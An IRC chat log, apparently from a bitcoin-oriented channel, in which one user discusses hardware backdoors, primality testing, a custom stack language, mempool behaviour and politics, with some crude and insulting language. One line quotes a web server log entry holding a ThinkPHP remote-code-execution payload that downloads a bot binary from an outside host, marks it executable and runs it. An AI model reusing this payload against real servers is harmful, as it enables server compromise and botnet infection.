asciilifeform: mp_en_viaje: i say that vlsi circuit whose functionality cannot be established optically, is intrinsically 'tower of shit' just like e.g. linux kernel.
asciilifeform: i say that this is roughly equivalent to 'enemy will sell you a pen that writes gavin's pubkey if you sit down and try to write mp_en_viaje's '
asciilifeform: gotta flesh this one out tho, cuz as written it posits the conclusion. how does the raw device know that it is being put to use for tcpip ? rather than e.g. to control aquarium temp.
asciilifeform: mp_en_viaje: it is entirely possible to sabotage fpga in the e.g. 'philips light bulb' sense, where it burns out after 5000 hrs. or shorts + to - erry month. or similar. these are 'physical' sabotages, and imho uninteresting because indistinguishable from simply shoddy part. the interesting hypothetical mine is a ~logical~ mine.
asciilifeform: observe that you can't do this for, say, cpu (even the simplest 1980s 8bit micros had all sortsa oddball unpredictability re context-dependent electrical characteristics)
asciilifeform: mp_en_viaje: the q is not whether a human reverser can find nic stack with his eyes, but whether you can stuff a robotic 'finder-diddler' of same into general-purpose sea of gates fabric , and still have item that passes inspection (incl. having the expected homogeneous propagation delays b/w the gates)
asciilifeform: mp_en_viaje: this is correct and is isomorphic to above.
asciilifeform: item was re 'what computing device offers least room in which to hide a mine when you buy it from enemy'. asciilifeform contends that the moar homogeneous the fabric, the moar difficult to interestingly hide a useful mine. i.e. if you wanted to sell the victim an sram that replaces e.g. mp_en_viaje's pubkey with gavin's whenever it is loaded therein, the resulting device will look quite diff even on optical microscope (not even speak
asciilifeform: i'ma see if it can be tamped into 20m, lol
asciilifeform: me, the moar i work with arithmetics, the moar plus i see to the 'big' (where 'bignums' are printed correctly when raw hexdumped )
asciilifeform: mp_en_viaje: i suggest to look again at the endianisms , so to remember which 1 it was that you barfed on
asciilifeform: nor a ramp even.
asciilifeform: oh apropos of mp_en_viaje's luggage : http://btcbase.org/log/2017-03-14#1627027 oblig
asciilifeform: ohai mp_en_viaje !
asciilifeform: last i dun into subj in depth, formed impression that usg may have exterminated (and swallowed the bones of) all extant makers of antifuse rom, in early '90s . on acct of the intrinsic radiation resistance of antifuse vs flash.
asciilifeform: in other lulz : 200.77.147.186 - - [07/Apr/2019:15:38:49 -0400] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://love.thotiana.live/bins/x86.bot;cat%20x86.bot%20>%20fucklol;chmod%20777%20fucklol;./fucklol%20thinkphp HTTP/1.1" 301 185 "-" "WOW" "-"
asciilifeform: phf: hrm i missed the http://btcbase.org/log/2019-04-07#1907295 ln. on init. read. patients with this symptom have exceedingly poor prognosis (witness e.g. Framedragger , succumbed to torcancer year+ after init. remission..) but it aint like the triage queue is full , thought worth try.
asciilifeform: OriansJ: i gotta take off shortly. you will definitely want to speak to mp, whose chan this is. ( he is travelling but i expect will stop by some time in next coupla d )
asciilifeform: OriansJ: it displays sans js, you simply gotta manually throw in param after the '?' mark
asciilifeform: OriansJ: lotsa folx over the years landed in the logs, and thought 'these people sit and philosophize and what'. but plenty of examples of working mechanism , if yer interested to study. http://www.loper-os.org/?cat=49 for instance is a just-short-of-done constant-time 0-dependency cryptoarithmetizer.
asciilifeform: !!rate OriansJ 1 neophyte / temp. voice
asciilifeform: ^ i.e. a unit suspected of containing hidden functionality vis-a-vis any other existing unit, can be 'slaved' to the latter , and the outputs compared.
asciilifeform: ( and deterministically testable for 'doing what's printed on the box' . you pump a coupla TB of known bits through it, and observe that the expected outs in fact came out )
asciilifeform: OriansJ is under the impression that asciilifeform works alone ?
asciilifeform: from pov of this thread, it is a practical example that sane (i.e. typechecking & boundschecking of ALL memory accesses) iron in fact existed, and even fit in 1980s vlsi (2um)
asciilifeform: OriansJ: you wouldn't want to build a new comp that replicates it entirely. for one thing, iirc could only address 256M , with no possib of expansion
asciilifeform: vendor killed itself via 'enron'-level mismanagement, imploded , so not much known about today outside of specific circles of sane-iron enthusiasts.
asciilifeform: vendor supplied lisp, ada, fortran, even c, compilers , which interoperated to the point of safely calling proggy written in 1, from another
asciilifeform: ^ best-known example.
asciilifeform: OriansJ: 'open source' folx have a professional disease, where they succumb to temptation of redefining a difficult problem into a non-equivalent but easier one
asciilifeform: OriansJ: re patents, there's plenty of folx living in free world, who will piss on whatever patent simply for the pleasure of the piss
asciilifeform: and specifically as illustration of the physical limits of thompsonism, in the abstract
asciilifeform: OriansJ: if i'm baking e.g. dram refresher -- then quite easily (and very frustratingly, in actual practice did, it is why it is ~impossible to bake a decent dram controller from scratch using fpga that hasn't been 'solved' ice40-style )
asciilifeform: OriansJ: possibly we are speaking at cross purposes. having eaten the log, i formed impression that OriansJ is interested in hypothetical sane iron, and not merely dethompsonization of x86 pc.
asciilifeform: http://btcbase.org/log/2019-04-06#1907066 << people who demand oddball instructions, can simply write own fpga payload and go happily on own path -- what am i missing ?
asciilifeform: i.e. whole problem of 'bootstrap', imho, is misformulated . why to fixate on thompsonism and then bring up multi-decamegabyte kernel fulla liquishit, on which to run overflowandcrashlang (aka 'c') compiler with which to then build moar of same, etc
asciilifeform: http://btcbase.org/log/2019-04-05#1907027 << why would 'compat with x86' be ANY kind of consideration ?
asciilifeform: http://btcbase.org/log/2019-04-05#1907021 << 'dos' as typically discussed here is simply shorthand for 'os that fits in coupla kB and gets the fuck out of the way and speaks only when spoken to' , roughly
asciilifeform: i think possibly my calibration is off, when measured was 38. but still feels like inside of head is swamp water
asciilifeform: mp_en_viaje: orig was from r. rozhdestvensky , same dood who did intro to '17 moments of spring'
asciilifeform: http://p.bvulpes.com/pastes/jbnUc/?raw=true << asciilifeform's attempt at loose transl.
asciilifeform: the disease sequelae of 'illusion of unique' i'ma not replay, mp_en_viaje covered subj to death
asciilifeform: if among'em 1 has 'enuff unique', he will not need to glue socks, but instead drive 4 feet of cock into teacher, a la mp_en_viaje , etc
asciilifeform: this sorta thing is why sergeant beats soldier/sailor for wearing his cap sideways or whatever other idjit attempts to 'unique'
asciilifeform: mp_en_viaje: re 'parameters', witness typical life cycle of ameritard. schoolboy -- glues rubbish to his knapsack, so to 'unique' . then inherits car, glues rubbish to bumper of car. then pupates and indentures into 'buying' house, glues rubbish to house. etc
asciilifeform: mp_en_viaje: not only this, but the disease progresses , afaik, in direct proportion to how much exposure to programming
asciilifeform: mp_en_viaje: same convention. i was parsing 'c' as positional 'a, b, c'
asciilifeform: still remains the case that good % of what is typically thought of as the protocol, is actually promise ( i.e. it is trivial for a constructed noad to feed 'allcomers' 1 mempool, with stale shit, while he himself mines from entirely other set, that he dun relay to anyone , etc )
asciilifeform: was aboutta add -- from pov of external observer (i.e. has no moles) a 'miner cartelnet' will simply look like 'miner with n public intakes'
asciilifeform: mp_en_viaje: in 'red' usa (virginia & south-er) they have these, it's where the people with carpets fulla 2ndhand guns set up coupla-x/yr
asciilifeform pictures mp_en_viaje posting from the pub pictured in '17 moments of spring', complete with the oddball jukebox
asciilifeform: guten abend , mp_en_viaje
asciilifeform: diana_coman: must admit, currently i have massive hole of mystery where 'how and where does trb tx propagage' oughta be. is why last autumn i sat down & wrote (most of) a fairly gnarly proggy to try & map out node zoology & mempool dynamics. but sadly on hold presently, not enuff hands
asciilifeform: for all i know, even mempool observatory would not necessarily tell you, there is 0 to stop a usg node from relaying one notional mempool to 1 peer and another to another, based on ???
asciilifeform: granted , it is impossible to say what exactly the 9000 garbage 'nodes' are running, it could be a published prb , or just about anyffin else entirely.
asciilifeform: BingoBoingo: prb ~does~ iirc have a lulzy notion that it can somehow prefer 1 tx in an n-spend tuple ~in mempool~ as 'the real tx' (the protocol offers no such mechanism, of course, tx dun contain anyffin to tie it to e.g. leading block when-issued , only a promisetronic timestamp that can equal whatever the issuer wants)
asciilifeform: tho it is not necessarily evidence against it, could simply mean that 'fat miner' lost the race in that particular case to a runner-up
asciilifeform: http://btcbase.org/log/2019-04-03#1906628 << to expand on this: say you issued tx1 where input i and output o1. he sees it, it goes to back of queue, as uninteresting, he does not mine it himself, but does relay to competitors. but if you also issue a and tx2, where input i and output o2, o2 != o1 , ~then~ tx2 goes to front of his queue, as by mining it he can throw caltrop to the competing miners , invalidating their chain
asciilifeform: imho the 'machine has 9000 fonts and each 1 is a gnarly proggy for turing-complete ball of 1m+loc c turd' is quite similar to the 'american shop where 9000 brands of toothpaste and each 1 fulla corn syrop' thing
asciilifeform: http://btcbase.org/log/2019-04-03#1906605 << i entirely agree that reading human text in typewriter chars is painful. gotta point out tho , that 'truetype' monstrosity is not justified thereby, it is possible to have horizontally-variable bitmap font (simply store the # of horiz. pixels as matrix , for 'kerning' space , and otherwise same )
asciilifeform: i dun have the mempool observatory node working yet, so am currently unable to say whether this is widespread problem or asciilifeform simply 'got lucky' errytime
asciilifeform: http://btcbase.org/log/2019-04-02#1906560 << it aint that i've anyffin against 'civilized' typography (tho prolly oughta admit, errything outside of graphical www on my boxen is displayed in exactly fixed-bitmap lettering) . simply gotta point out that 'fit 3 l where 1 w goes' is a luxury of sorts, costs moar moving parts than folx who never tried to implement it are typically aware of
asciilifeform: they didn't have programmable pll yet, so they birthed the multiphase the old-fashioned, analogue way. hence temp-controlled .
asciilifeform impressed by some of the details , apparently thing not only had internal & external ecc for all memory, but iron ecc logger
asciilifeform: hrm loox to be moar complicated, saw it via some derp, iirc, who was running for us congress, and cited icke.
asciilifeform: 'roles' is as i see it simply the typical usgistic 'pissing section in swimming pool' pretense
asciilifeform: BingoBoingo: afaik would've just as readily worked with simply you an' him having logins, no 'roles' knobs
asciilifeform: http://btcbase.org/log/2019-03-31#1906292 << diana_coman (iirc is in the l0gz, somewhere briefly) 1 time i dug up what turned out to be an attempt by pete_d to market fg -- his notion was 'first, gotta rename! it'
asciilifeform: ^ is a bottomless well of lulz. for instance, didjaknow, usg does not today and has never purchased 'computer'. it buys 'automated data processors'
asciilifeform: the mindboggling thing is that afaik no one yet 'fuck you all, i'ma make own.' asciilifeform made this deliberately as simple as could be .
asciilifeform: if anyone's impatient, i'll link to the vpatch/seal, otherwise it'll wait for the text
asciilifeform: meanwhile, http://www.loper-os.org/pub/ffa/hypertext/ch18/ffa_calc__adb.htm << final ch18 ; still working on the accompanying text
asciilifeform recently read a pretty spiffy , and i dare say mircea_popescu-flavoured ( good % was re how, where, whom, the folx fucked ) memoir of sovok 'akula' sub officer in '90s. d00d was moar or less 'meat computer'
asciilifeform: mircea_popescu: interestingly, they ~had~ servos ; and even had pdp-like comp ; but did not trust the latter to connect to the former
asciilifeform: ( for comparison, standard sovok sub reactor, somewhat larger affair, approx the size of mircea_popescu's bmw , was good for 20-30y of 300-400 MW )
asciilifeform: 'The AGA is the only cooker in the world with a guaranteed maximum fuel consumption. It is guaranteed to burn less than £4 worth of fuel a year….. Stress the fact that no cook can make her AGA burn more fuel than this, however stupid, extravagant or careless she may be, or however much she may cook. If more fuel is consumed, it is being stolen, and the police should be called in immediately' << strikes me as peculiar claim ( what,
asciilifeform: entirely possible to argue that no such thing as 'nederlanden' embassy, it's simply branch office of washington's
asciilifeform: in this position ( as in the telco anecdote ) asciilifeform would simply suppose that the public facade is cheap camo , and has ~0 to do with the actual internal wot
asciilifeform: fwiw thing, from what can be seen through the windows ( in those days built with , believe, windows.. ) largely (but not entirely) empty.
asciilifeform: even the 'shite materials of sovok' comes with an asterisk. there was no impetus for intel-style 'market stratification', so if it was overall +ev to have ~all~ clocks use ruby and beryllium copper gears, then all would, had no reason to have 2 production lines when could 1
asciilifeform: even my sovok alarm clock keeps to <1s/day (yes sovok made alarm clocks with rubies, thermocompensated spring, etc. i could not say exactly why, prolly same factory made for submarine as for desktop ... )
asciilifeform never ran auto on mircea_popescustan-like terrain, cannot make specific claim re subj. but imho oughta compare like to like
asciilifeform: ( usd printolade press birthed not only 100k auto that's 90% plastic , but even this is not enuff to make their manufacture +ev , they gotta nao also turn'em into chump milking machines by ~design~ )
asciilifeform: imho oughta compare machines from same era
asciilifeform: tho then again mircea_popescu did say 'dumps fluids' lol
asciilifeform: http://btcbase.org/log/2019-03-28#1905513 << asciilifeform going on 20yrs of asia, 0 complaints
asciilifeform: '"Yes, I know," said the little technician earnestly, "but I start by saying seven times three because that's the way it works. Now seven times three is twenty-one." "And how do you know that?" asked the congressman. "I just remember it. It's always twenty-one on the computer. I've checked it any number of times." "That doesn't mean it always will be, though, does it?" said the congressman. "Maybe not," stammered Aub. "I'm not a math
asciilifeform: ( also ougta add, that if extended riemann is troo , then the supposition that 'for erry finite set of witnesses, can produce a p for which they all lie' is not , and the rng component of m-r would then be redherring )
asciilifeform: for thread-completeness, will add that http://trilema.com/2014/the-hour-of-reckoning/ is possibly moar pertinent to the orig q than 'resplenduminous'
asciilifeform: mircea_popescu amply documented this for the btc lotterists , for instance
asciilifeform: so does mircea_popescu reject the 'for ~any~ given composite, 3/4 of integers are m-r witnesses' item ?
asciilifeform: however he would like you to have a good probability of settling on a p which is actually composite
asciilifeform: i confess the orig. supposition still dun compute in my head, where yes 3/4 of number line proves compositivity , but somehow a device which even approximates uniform random, manages to avoid'em in 32+ shots.
asciilifeform: this type of failure hinges on imperfection of rng, rather than hidden boojum in m-r
asciilifeform: to the point that i'm at a loss to construct a crackpot hypothesis for the negative ( what would the loch ness monster here look like ? erry composite n, we know has 3+ / 4 of integers as proper witnesses. so where wouldja hide'em so that working rng doesn't find 1 in 32 shots before asteroid hits machine ? )
asciilifeform: all we have is the http://btcbase.org/log/2019-03-28#1905286 ( from elementary proof ) + the observation that nobody ( or at least not asciilifeform ) has ever found a composite that doesn't properly light up m-r 'composite!' indicator for 3+ / 4 rng stabs.
asciilifeform: mircea_popescu: iirc they used peroxide as oxidizer, rather than compressed o2
asciilifeform: compressed gas aint so great as energy store, you lose just about errything you put in , to pv = nRT
asciilifeform: it was the germans who tried to actually ~run~ ship on compressed air. in ww1. did not ( surprise? ) go far.
asciilifeform: mircea_popescu: funnily enuff, even cheapo current gen. of gym stationary bikes, actually include gens, they simply dump the current in resistor
asciilifeform: incidentally, and for thread-completeness, gotta add, for certain patterns of failed m-r sequence , you end up with output that gets you a factor. this item is actually on the phuctor conveyor, when i get a free hand to crank it again
asciilifeform: mno, ~at least~ 3/4 of numberline provably nails any given composite.
asciilifeform: all of this , as i understand, only is interesting if enemy knows (or can set) which will be your witnesses. cuz by basic m-r , 3/4 of possible inputs for witness will still give correct diagnosis of compositude
asciilifeform: what'd be interesting is to find algo that bakes a large composite n , and shits forth arbitrary # of 'plausible-looking' large but false witnesses
asciilifeform: mircea_popescu: the operative diff is, 3/4 is lower bound. i.e. there aint a composite where 3/4 of the integers aint proper witness.
asciilifeform: i.e. throw p*q in m-r , with random witness, and see if correctly outputs 'composite'
asciilifeform: ( troof-teller i.e. correctly triggers m-r's 'this is composite' litmus )
asciilifeform: ( high in comparison with the naked 4**-x that is )
asciilifeform: i expect that as moar folx eat ffa, we will have moar empirical figs to compare.
asciilifeform: ( the latter not used for any of the published tests, but to simply gauge the effect of 'modern' x86isms . fwiw does have constant-time mul etc )
asciilifeform: diana_coman: no rush, we'll find out how compares on given $iron when you get around to 18 .
asciilifeform: aanyways i expect that when diana_coman gets to eating ch18, we can compare properly .
asciilifeform: diana_coman back in the day posted old-style mpi timings but i do not know on what irons so cannot readily compare .
asciilifeform: ( naturally at no point will the algo complete faster than the time eaten by the given # of m-r rounds specified )
asciilifeform: for thread-completeness, will add that it is possible to speed up the algo by giving not only 1 'primorial up to width' but it and then whichever number of product(n+1th-prime ... n+i-th prime) that yet again fit in the width, and so forth, for any desired # of small primes, for the initial sieve
asciilifeform: example is to illustrate style, i did not particularly doubt that it'd work as described .
asciilifeform: in other noose ! http://p.bvulpes.com/pastes/6rnvA/?raw=true << prelim. smoke test of ch18 example 2048b prime gen. http://p.bvulpes.com/pastes/USsFD/?raw=true << sample output with timing. all the primes pass on e.g. wolfram's , if anyone has a favourite 3rdparty litmus, plox to try also when ch18 posted.
asciilifeform: but imho 1st it oughta become 'second nature' for the n00b , to read the examples with naked eye
asciilifeform: Mocky: most battlefield pehtapes , i expect, will be ~much~ easier to read than these ( e.g. will include comments, an' meaningful names ) . these, are simply micro demos that fit in log line
asciilifeform: imho v is the simplest, mechanically, versionatron ever baked. so i dun expect Mocky will have much of problem
asciilifeform: ( incidentally, 'can redefine cpu instructions in boot rom for custom kompyooting' dun require fpga etc. fancy modern tech, e.g. dec alpha had it )
asciilifeform: ( to take simple example, you defo want cache on server, but it is absolutely lethal on ciphertron )
asciilifeform currently suspects that '1 sane comp for all problem domains' is a misapprehension of the problem, and that '1 for crypto, 1 for other things' is merely the beginning of it.
asciilifeform: if nuffin else, some of asciilifeform's demands re 'sane comp' are in architectural tension with others ( rather like to ask 'i want sword that cuts other swords, but isn't brittle' )
asciilifeform: http://btcbase.org/log/2019-03-26#1904962 << not to let this escape; i'd actually be quite interested to read diana_coman's own thoughts re what is a sane comp. ( asciilifeform wrote at great length re the subj, would also like to see where folx disagree / expand )
asciilifeform: mircea_popescu: not at 'pen' stage , but prototyped, iirc i posted an example with trad btc tx.
asciilifeform: ( in the last iteration , the 1 that presently dun build on acct of gnat bug , you simply make any data structure you like in ada, and it persists to disk. )
asciilifeform: asciilifeform's mmap thing (ideally a working ver of the latest iteration, but even the original 'horsecocks') already gives ability to write simple , fast db, for uncomplicated schemas
asciilifeform: mircea_popescu: as i understand , this one would need either tcpism (not written yet) or unixsocketism (also afaik not written, aside from the sad adacorpse implementation in gnat std lib)
asciilifeform: the 'bootstrap to c + linux' people make this exact mistake. 'look, i wrote this compact bootstrapper, nao i can breathe out and start wallowing in my familiar pointerolade an' nulltermstrings pigsty again'
asciilifeform: ( peh per se is a 'peh compiler', arguably, in that it can and does produce peh tapes as output, this is how e.g. keygen worx )
asciilifeform: mircea_popescu: it is entirely conceivable that someone may want to bake 'peh compiler' . but intent of design is specifically for it to be entirely usable without any such thing, with reasonable effort.
asciilifeform: imho it's not only worth doing, but absolutely must be done if yer working with reasonably compact pieces of safety-critical proggy
asciilifeform: in re peh in particular, the 'tape' model i picked consciously, and not simply in re the terminology to call the proggies 'tapes'. thing is built so that all motion is , albeit non-monotonically, forward ( e.g. subroutine can call another sub, but only one defined ~earlier on the tape~ from the place where called; and all subs ~must~ either reach their termination point, or produce verdict & halt the process , there is no 'goto' )
asciilifeform: or a 2pass compiler. or anyffin that gotta walk a substantial length of bits >1ce
asciilifeform: thing is really meant for sequential work on relatively compact items
asciilifeform: bvt: the other thing, is the 3-ring circus aspect of elaborately dethompsonizing a box in order to... bring up 1M+line of linusolade
asciilifeform: BingoBoingo: it was maxint in that usg wouldn't actually sell the tax stamp anywhere
asciilifeform: it was how 'war on drugs' kicked off, 'tax stamp' on opium, where 'tax' was $maxint
asciilifeform: the archaetypical red army fella , beating up the designated kulak, will say simply буржуй .
asciilifeform: ( e.g. say you want to compactly represent moves of blocks of text. nao you need... a stack ? etc )
asciilifeform: also produces gargantuan patches if you simply move routines , this is a perennial headache to asciilifeform
asciilifeform: fwiw the argentine tube contains sumthing visually resembling actual cyanoacrylate. it's simply defective in some subtle way.
asciilifeform: *simplification
asciilifeform: for that matter, that same bolix, and the 1989 crapple it rides on, 100% orig parts ( save for http://www.loper-os.org/?p=2943 which i stuffed in preemptively )
asciilifeform: '90s irons were solid, in comparison even with that opteron. e.g. i still have a 486 that worx like the day it was new, not even recapped ever
asciilifeform: ( since that article, asciilifeform did get a hotter iron, but reworking rohsisms is still a bitch, the high temp tends to lift the tracks )
asciilifeform: after this, { ..... }{.1}_, and so if it were not, the loop simply cycles again;
asciilifeform: .1= computes whether this is equal to 1, leaving 1 on stack if it were, and 0 if were not.
asciilifeform: xyG pushes to stack reg 'x', then reg 'y', and computes gcd, which then is sole item on stack.
asciilifeform: mircea_popescu: surely you meant 'socket am3' ? 'socket 3' was iirc their 486-compat !
asciilifeform: http://btcbase.org/log/2019-03-23#1904027 << the example looks gnarly but is actually simple. in pseudocode :x:=6; y:=3; do{y:=y+2; if gcd(x,y)==1 then x:=x*y;}until (x*y is wider than width); return x
asciilifeform: ^ in other noose. asciilifeform had to think for coupla hrs about how to impose this fascism compactly. ended up just 3 ln.
asciilifeform: repeated examples of 'worked in criminal court but not civil' in recent usa.
asciilifeform still picks up comps on occasion, or items with usable parts
asciilifeform: i dun think he even ever used a comp aside from that occasion.
asciilifeform: decade ago tho, when actually had to suffer sitting in room with both chiralities, found it quite impossible to confuse 1 for other, even blindfolded
asciilifeform: turks -- champs, i've nfi wai frogman picked on'em
asciilifeform: non-miami-compliant orcs
asciilifeform: naturally it is impossible to make 'magic' proggy where somehow 'no one' can be confused. but can remove the obv. sharp edges that errybody seems to like cutting own limbs off, w/out much cost, turns out.
asciilifeform: in the end found that they are entirely unnecessary: ch4-style { } forward skip blocks, and ch17 controlstack-powered loop mechanics, do 100% of what is constructively done normally with numeric jumps
asciilifeform: but jumps 1) turn whitespace into semantically significant ops 2) would permit x86-style 'double meanings' where you can jump into middle of a prefixed (2-char) op , and so on
asciilifeform: for thrd-completeness -- the final design turned out quite diff from the orig 2017 prototype. e.g. orig i was gonna have jumps
asciilifeform: sorta how i ended up starting with starvation minimum of control flow ops, and slowly added'em in after attempts to write e.g. rsa keygen w/out'em turned out quite ugly
asciilifeform: @subname@body; declares a sub (declaration terminated by the ; so it is not possible to declare a sub with no return. ) @subname! calls the sub. sub can be called only if declared previously, and may not call self. sub may not be declared inside a sub or loop (i.e. if control stack is nonempty.)
asciilifeform: pretty simple actually. (full detail in ch18 text)
asciilifeform: fwiw peh is written from the start to support putting eggogology on separate physical device (e.g. lcd with red lamp) in embedded builds.
asciilifeform: mircea_popescu: i realize it sounds like nuttery. but could have e.g. flat output rate irregardless of temperature ( theoretically achievable with radiodecay ) etc.
asciilifeform: ( could proclaim 'fg' but that'd be a cheat imho , a primary standard oughta have entirely known characteristics, with 0 effect of component variation. but is this even possible for rng. )
asciilifeform: 2000s was in 'golden age' where simply net connection did not automatically put you in range of 12yo spew , so asciilifeform (not having younger siblings , nor teaching kindergarten) did not find out what they were doing in 2000s
asciilifeform: in unrelated 'for laters' noose, asciilifeform got hold of 2 moar 'ivory' cpus (brings total # of samples in asciilifeform's house o'horrors to 5 )
asciilifeform: for thread-completeness : 'peh' has exactly 50 subroutines ( 37 procedures, 13 functions ) ; ffa : 245 ( 166 procedures , 79 functions ) .
asciilifeform: BingoBoingo: ffa is 3 ch away from fieldable beta atm ; so in attempt to avoid ending up like mod6 , i'm currently 100% in it. afterwards will switch for a spell to 100% elbows in piz.
asciilifeform: bvt: was this 'can' accompanied by a 'did' ?
asciilifeform: i suspect that the 'let's bootstrap c' thing comes from a narrow fixation on thompsonism to the exclusion of the other 9000 leprosies of the pdp age.
asciilifeform: picture if i had made ffa deal in 32bit words, and then proclaimed 'implement bignum on that'. do you imagine the result would be in any sense 'fits in head' ?
asciilifeform: http://bvt-trace.net/2019/03/mes-part-1-stage0/#selection-29.94-29.340 << imho ~100% of the attempts on record , made exactly same mistake -- they assumed that 'architecture-specific aspects creep into the design of the boostrapping process' only concerns ~what is there~ in the arch, and not ~what is not there~ (e.g. sane memory management, type tags) . if you dun put the complexity of certain necessary sanities where it belongs -- i
asciilifeform: http://archive.is/febOU#selection-207.0-207.164 << imho if a lang is intrinsically difficult to bootstrap, it (and/or ~the iron~ chosen for the attempt) is thereby defective.
asciilifeform ate the quite compact log, back to writing room
asciilifeform: e.g. 'The first in San Francisco was co-hosted by CDC member Adam O’Donnell, an entrepreneur and a security engineer at Cisco Systems, and Alex Stamos, then the chief security officer at Facebook ... Chris Wysopal, a L0pht veteran who founded tech company Veracode ... Seattle fundraiser for the Senate race ... ' etc
asciilifeform: to use ,/; as 'goto' is stylistically prohibited, if tape leaves control stack nonempty at the end of the life, operator gets a warning.
asciilifeform: btw , crib sheet for http://btcbase.org/log/2019-03-14#1902386 -- ':' puts current position on control stack; ',' pops a fz from datastack , a tape pos from controlstack, and if the fz was nonzero, control is transferred to the popped pos. ';' simply pops the next pos from controlstack.
asciilifeform: thing is, if you turn this knob, you can write a tape that's incompatible with someone who hasn't turned
asciilifeform: or he could try company of ameri-chix
asciilifeform: lol i wasn't thinking in the 'fuck sisters' vein but 'import own chix'. ( as iirc mircea_popescu wrote about doing in ro, 'locals unfuckable' or how went the piece )
asciilifeform as sits here, meanwhile pet attempts to replicate ro/sovok cake with ameri-findable ingredients
asciilifeform: i dun think there's a modernistan without massive blackmarket (i.e. comparable in mass to the 'white')
asciilifeform: per logic of the 'spherical horse' market(tm)(r) mircea_popescu is 100% correct. but the 'market' aint one when there's derps printing money, it's simply a larger sovok
asciilifeform: cuz , see, 'computer needs replace'
asciilifeform: http://btcbase.org/log/2019-03-14#1902591 << i gotta ask, why spurious ? ro kalash fires a++ . ro made (sad, sovok, but) working autos (even with 4cycle motor, i.e. not trabant), pumped own petrol, ran yes reactors, didn't depend on foreign 'experts' and fear 'sanctions' and sit under curse of http://trilema.com/2011/jaful-si-economia/#selection-23.0-31.529
asciilifeform: incidentally re http://btcbase.org/log/2019-03-13#1901981 , another good example -- south kr. industrialized entirely 'not communistically' but via same exact method.
asciilifeform: http://btcbase.org/log/2019-03-14#1902437 << in 1941 su there was a mass of very similar morons who expected to 'drink bavarian' , chix lined up for barber shops to get fashionable hair to show to germans, etc. imho people who actually expect that getting conquered results in mass handout of candy and beer are tards. history offers no example of this kinda thing, and plenty -- of the obv. opposite, the 1 where no candy but instead ht
asciilifeform: diana_coman: the reich where 'killed for being thinking people' is ~right here~. simply they dun do it with gulag, they do it much cheaper, by driving'em to drink
asciilifeform: mircea_popescu: upstack to the keccak -- 8x moar compact keccak is Right Thing, but still won't keep you from demolishing the stack if yer hashing GBs
asciilifeform: ( and not necessarily immediately or as compactly as in this didactic example, but sure enuff, sheep will be shorn )
asciilifeform: ( consider, sovok faced much simpler problem, when ~it~ resorted to fab -- that amerireich ~wouldn't sell'em~ the goodstuff. today, can't even ~buy~ the goodstuff if yer sultan of brunei )
asciilifeform: luckily we have mircea_popescu to give clue re in what order to bucket water from the flooded compartments
asciilifeform: http://btcbase.org/log/2019-03-13#1902255 << i find it increasingly harder to avoid the thought that computing is going down to bottom of the sea unless and until we fab
asciilifeform: http://btcbase.org/log/2019-03-13#1902248 << sadly must point out , that the places where the active components made, dwarf any sovok tractor plant
asciilifeform: http://btcbase.org/log/2019-03-13#1902140 << the crowd of very similar 'pippidi' bashing sovok, always makes sure to compare hruscheba to manhattan penthouse, and not to the dirt floor hut 90% of ru lived in pre-sovok
asciilifeform: rright. but gotta point out, 'let'em make the basics, we'll make mpexes and fermat's theorems' dunwork if taken entirely literally.
asciilifeform: mircea_popescu: the diff b/w 'then and nao' is that 'the west'(tm)(r) dun have a miami to decamp to. hence 'cream' stews in own juices, and no genuflections/'apologies'
asciilifeform: afaik that's the 'standard model' of the brit empire -- drained batteries of india, americas, etc, then ate own arse
asciilifeform: the old empire was irrecoverably sad as early as 1907.
asciilifeform: i dun expect 'following' would tell one much, unless it is in the sense of 'followed gauleit^H^H^H^H^H^Hpresident and bugged his comp'
asciilifeform: the typical result of attempt, is http://btcbase.org/log/2015-03-06#1044115
asciilifeform: 'better' requires whole lotta compressed 'worse'.
asciilifeform: diana_coman: 'didn't get to the part where it gets better' << this is the distinct impression i get . and i suspect on acct of the shoemaker being soft.
asciilifeform: diana_coman: in what sense was the attempt 'out of nothing' ?
asciilifeform: BingoBoingo: is exactly what i meant as 'same relation as peasant to his horse', 'it is simply there'
asciilifeform: poseidon did not deign to make fish get out of ocean, walk to village, and jump into mouth..
asciilifeform: that , imho, is what to compare to
asciilifeform: exactly like the 'actual chemists' nao, are the people who are looking for simpler syntheses of meth and 'ecstasy' out of not-yet-banned hardware shop crapola, and not the monkeys who sit all day doing http://btcbase.org/log/2019-03-07#1900867
asciilifeform: the lhc aint an instrument of physics, simply from the fact that the people who control access to it, and the catamites they grant it to, aint physicists ! the actual physicists are drilling little holes in aluminum , in kitchens.
asciilifeform: pig, i suspect, when of prikoke mass, is simply pig.
asciilifeform: erry 'hate movement' is a cluster of lymphocytes around a very real irritant to organism.
asciilifeform: the dichotomy amply documented by mircea_popescu & other folx
asciilifeform: tho this simply moves the recursion, ~somebody~ up the line had to let things get to this
asciilifeform: then i'm stumped, 1941-45 was my 1 crib sheet re problem
asciilifeform: tov. c was quite unlike mircea_popescu in 1 important way , tho -- he neglected the disease until was unmanageable, was - near as i can tell - pretty soft (vs, e.g., stalin), very little 'prophylactic' depantsuiting in his reign
asciilifeform: trinque: i dun know this for a fact; maybe simply spat at the string of barf and stopped for nao
asciilifeform: or , say, take tcp. mircea_popescu aint even a programmer, and is just about as 'clean' as a fella can get in re programming radiation damage and still have worked with comp. but it took asciilifeform 3+yrs to get him to see that tcp is -- by design -- garbage
asciilifeform: ( and if there's 1 thing there is no shortage of in the sad monkey house that passes for kompyooting, it's 'antipattern' -- there's enuff that 'you can eat it with arse' )
asciilifeform: hanbot: this gets complicated. e.g. i put high value on mircea_popescu's pov re programming, even tho he (afaik) moar or less never programs
asciilifeform: hanbot: but was curious whether you had moar specific notion, or simply gut feeling (nuffin wrong with gut, imho)
asciilifeform: folx without lymphocytes ~will~ succumb to fungi & errything else under the sun, it dun matter what they do
asciilifeform: PeterL: will simply slow
asciilifeform: iirc the subj of the piece (the chinese 'empty chair' pantsuit nobel derp) finally bit it coupla yrs ago
asciilifeform: mircea_popescu: if somebody does compact keccak tonight, i'ma only say thanks
asciilifeform: this is because a n-bit gcd (as appears in ch15 ffa) is simply 2n n-bit subtractions, 4n n-bit shifts, 2n n-bit muxes, plus some small change.
asciilifeform: http://btcbase.org/log/2019-03-11#1901356 << after ch17 , asciilifeform is doomed to reimplement keccak, will have to load it into head, possibly will add to this recurrent thread
